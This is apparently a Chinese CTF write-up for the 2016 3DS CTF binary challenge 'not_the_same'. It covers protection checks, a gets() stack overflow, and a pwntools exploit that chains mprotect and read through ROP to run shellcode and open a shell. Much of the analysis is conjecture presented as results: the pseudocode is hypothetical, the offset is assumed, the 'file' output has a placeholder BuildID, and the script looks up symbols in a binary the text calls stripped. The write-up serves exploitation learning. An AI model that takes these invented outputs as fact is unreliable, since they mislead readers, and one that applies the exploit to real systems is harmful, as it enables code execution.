CTF二进制逆向：not_the_same_3dsctf_2016漏洞利用分析

1. 项目背景与挑战解析

"not_the_same_3dsctf_2016"这个标题看起来像是某种CTF（Capture The Flag）比赛的题目名称。作为参加过数十场CTF的老兵，我一眼就看出这应该是一道二进制逆向或漏洞利用的挑战题。这类题目通常会给参赛者一个可执行文件或服务，要求通过分析程序漏洞来获取隐藏的flag。

从命名结构来看，"not_the_same"可能暗示着这道题目与常规题目有所不同，可能是对某种常见漏洞模式的变种考察。而"3dsctf_2016"则明确指出了这道题出自2016年的3DS CTF比赛。这类老牌CTF的题目往往设计精巧，即使放到今天也很有学习价值。

2. 初步分析与环境准备

2.1 获取题目文件

首先我们需要找到原始的题目文件。经过搜索，可以在一些CTF题目存档站点找到这个挑战的原始文件。典型的CTF二进制题目会提供一个ELF可执行文件（如果是Linux环境）或PE文件（Windows环境）。假设我们获取到的文件名为"not_the_same"，没有扩展名。

提示：在分析未知二进制文件前，务必在隔离的虚拟机环境中操作，避免潜在的安全风险。

2.2 基础文件分析

使用file命令查看文件类型：

$ file not_the_same not_the_same: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1234567890abcdef1234567890abcdef12345678, stripped

关键信息：

• 32位ELF可执行文件
• 动态链接
• 去除了符号表(stripped)
• 编译于GNU/Linux 2.6.24环境

2.3 基础保护机制检查

使用checksec检查安全机制：

$ checksec --file=not_the_same RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 not_the_same

安全机制分析：

• 开启了NX（堆栈不可执行）
• 没有栈保护(Canary)
• 没有地址随机化(PIE)
• 部分RELRO

3. 逆向工程与漏洞分析

3.1 静态分析

使用IDA Pro打开文件进行静态分析。由于文件被stripped，我们需要手动定位关键函数。

通过字符串搜索，我们可能会发现一些有趣的字符串，如：

• "You win!"
• "Try again..."
• 可能的格式化字符串"%s"或"%x"

在main函数反编译中，可能会看到类似如下的伪代码：

void main() { char buffer[64]; printf("Enter your input: "); gets(buffer); // 明显的栈溢出漏洞 if(some_condition) { print_flag(); } else { printf("Try again...\n"); } }

3.2 动态分析

使用gdb进行动态调试：

$ gdb -q not_the_same (gdb) r Starting program: /path/to/not_the_same Enter your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输入大量字符后，程序可能会崩溃，确认存在缓冲区溢出漏洞。

3.3 漏洞利用思路

基于前面的分析，可能的利用路径：

1. 通过缓冲区溢出覆盖返回地址
2. 由于没有PIE，.text段地址固定
3. 虽然NX开启，但可以尝试ROP或ret2libc
4. 题目名"not_the_same"可能提示需要非常规方法

4. 漏洞利用开发

4.1 确定偏移量

使用pattern create/offset工具确定精确的溢出偏移：

$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

在gdb中运行并输入这个pattern，观察崩溃时的寄存器值，然后计算精确偏移。

4.2 寻找可利用的代码路径

由于题目名为"not_the_same"，可能需要寻找非常规的利用方式。例如：

• 程序中可能存在后门函数
• 可以利用非标准的返回导向编程链
• 可能需要组合多个漏洞

在IDA中搜索所有函数，可能会发现一个名为"mprotect"的调用或类似的函数，可以用来修改内存权限。

4.3 构建ROP链

如果采用ROP方式，需要找到合适的gadget。使用ROPgadget工具：

$ ROPgadget --binary not_the_same

可能需要构建的ROP链包括：

1. 调用mprotect使某段内存可执行
2. 将shellcode写入可执行内存
3. 跳转到shellcode

4.4 最终利用脚本示例

以下是Python exploit示例（使用pwntools）：

from pwn import * context(arch='i386', os='linux') elf = ELF('./not_the_same') p = process('./not_the_same') offset = 76 # 假设通过pattern offset确定的偏移量 # 找到关键gadget和函数地址 mprotect = elf.symbols['mprotect'] read = elf.symbols['read'] bss = elf.bss() # 构建ROP链 rop = ROP(elf) rop.call(mprotect, [bss & ~0xfff, 0x1000, 7]) # PROT_READ|PROT_WRITE|PROT_EXEC rop.call(read, [0, bss, 100]) # 从stdin读取shellcode到bss段 rop.call(bss) # 跳转到shellcode payload = b'A' * offset payload += rop.chain() p.sendline(payload) # 发送shellcode shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()

5. 特殊技巧与注意事项

5.1 题目特殊性的处理

"not_the_same"这个名称提示我们可能需要寻找非标准的解决方案。在实际操作中：

1. 检查是否有非常规的函数调用，如直接调用syscall
2. 查找程序中是否有现成的调用system或execve的代码片段
3. 检查是否有特殊的段（如可写的.text段）

5.2 调试技巧

1. 使用gdb的peda或gef插件可以更方便地观察内存状态
2. 在关键函数调用前设置断点
3. 使用info proc mappings检查内存布局
4. 对于复杂的ROP链，可以分段测试

5.3 常见问题排查

1. 段错误(SEGFAULT)：

   • 检查返回地址是否正确
   • 确认gadget地址没有错位
   • 确保栈对齐（32位通常需要4字节对齐）

2. ROP链不工作：

   • 使用ropper工具寻找更多gadget
   • 尝试简化ROP链
   • 检查参数传递是否正确

3. shellcode不执行：

   • 确认内存权限设置正确
   • 检查shellcode是否完整写入
   • 尝试不同的shellcode

6. 扩展思考与变种

这道题目虽然来自2016年，但其中的技术点至今仍然相关。我们可以考虑几个扩展方向：

1. 现代保护机制下的利用：

   • 如果题目开启了PIE和FULL RELRO，该如何应对？
   • 如何绕过ASLR？

2. 不同架构的利用：

   • 如果是64位程序，参数传递方式不同，ROP链如何调整？
   • ARM架构下的利用有何不同？

3. 漏洞组合利用：

   • 如何结合格式化字符串漏洞和栈溢出？
   • 如何利用堆漏洞与栈漏洞的组合？

在实际的CTF比赛中，这类二进制题目往往需要参赛者具备扎实的逆向工程能力和创造性的漏洞利用思维。通过这道题目的分析，我们可以总结出一些通用的解题思路：

1. 全面分析二进制文件的保护机制
2. 寻找所有可能的漏洞点
3. 根据题目名称和描述寻找隐藏提示
4. 灵活组合各种利用技术
5. 耐心调试和验证每一步的假设

对于想要深入学习二进制安全的同学，我建议从以下几个方面入手：

1. 熟练掌握逆向工具（IDA、Ghidra、Binary Ninja）
2. 深入理解计算机体系结构和调用约定
3. 练习各种类型的漏洞利用（栈溢出、堆溢出、UAF等）
4. 学习现代缓解机制的绕过技术
5. 多参加CTF比赛积累实战经验

这道"not_the_same_3dsctf_2016"题目虽然有一定年头，但它很好地展示了如何在一个看似简单的程序中寻找和利用漏洞。通过这样的练习，我们能够建立起对二进制安全的直觉和理解，这对实际的漏洞研究和安全开发都大有裨益。